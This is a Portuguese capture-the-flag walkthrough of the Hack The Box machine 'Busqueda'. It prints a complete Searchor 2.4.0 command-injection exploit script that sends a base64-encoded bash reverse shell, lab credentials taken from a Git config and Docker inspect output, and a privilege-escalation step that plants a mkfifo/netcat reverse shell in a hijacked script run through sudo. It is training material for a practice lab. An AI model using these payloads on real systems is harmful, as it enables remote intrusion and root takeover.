Busqueda
Enumeration
nmap 10.10.11.208
Associei o IP ao domain no /etc/hosts:
IP=10.10.11.208
printf "%s\t%s\n\n" "$IP" "searcher.htb" | sudo tee -a /etc/hosts
Acedi ao Site e vi que a versão a ser utilizada era "Searchor 2.4.0", tendo depois pesquisado um PoC que tivesse haver com alguma vulnerabilidade existente na versão;
Exploitation
Searchor 2.4.0
Searchor 2.4.0 PoC 'https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection'
nano exploit.sh
#!/bin/bash
default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"
echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"
if [ -z "${evil_cmd##*$plus*}" ]
then
evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi
if [ $# -ne 0 ]
then
echo "[*] Input target is $1"
echo "[*] Input attacker is $2:${port}"
echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else
echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:
./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi
Formato de execução: (9001 Default)
./exploit.sh TARGET ATTACKER PORT
Adicionei o PoC no Kali e executei criando um listener no porto 9001 enquanto isso:
nano exploit.sh
chmod +x exploit.sh
nc -lvnp 9001
./exploit.sh searcher.htb 10.10.4.2
Acedi á user flag e conclui a Exploitation:
cd /home/svc
cat user.txt
Privilege Escalation
Foram encontradas credencias cody:jh1usoih2bkjaspwe92 para aceder ao Git:
cd /var/www/app/.git
cat config
Acedi por ssh á máquina com as credenciais svc:jh1usoih2bkjaspwe92:
ssh svc@10.10.11.208
jh1usoih2bkjaspwe92
SUDO - system-checkup.py
Descobri que há um programa em Python que pode ser explorado para obter permissões root:
sudo -l
sudo python3 /opt/scripts/system-checkup.py *
sudo python3 /opt/scripts/system-checkup.py docker-ps
sudo python3 /opt/scripts/system-checkup.py docker-inspect
Fui pesquisar para ver os formatos que o comando podia dar e relacionei os comandos utilizados com os comandos existentes do Docker tendo chegado á conclusão que pode ser usado o formato JSON e para isso é preciso instalar o jq para converter para o formato em JSON. A máquina em si já apresenta o formato desejado.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e | jq
Obtive as credenciais administrator:yuiu1hoiu4i5ho1uh
Adicionei o subdominio gitea ao /etc/hosts:
echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts
Acedi ao http://gitea.searcher.htb e fiz login com a password obtida anteriormente mas como Administrador.
Como posso utilizar o script system-checkup.py explorei melhor o código do mesmo e acabei por encontrar um bash script ./full-checkup.sh que está a ser executado dentro do programasystem-checkup.py:
Denotar que o programa referencia apenas o bash script e não o caminho do programa, querendo dizer que o bash script está localizado no mesmo local que o python script;
cd /opt/scripts/
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Juicy Part
Como o programa apresenta-se a funcionar corretamente vou então criar um bash script designado full-checkup.sh de forma a ser executado em vez do original:
cd /tmp
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f" > /tmp/full-checkup.sh
chmod +x full-checkup.sh
nc -lvnp 4444
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
A Shell é criada na nossa máquina e obtemos permissões de root na máquina local.
É criado uma TTY shell e pesquisado a flag:
python3 -c 'import pty;pty.spawn("/bin/bash");'
pwd
cd /root
ls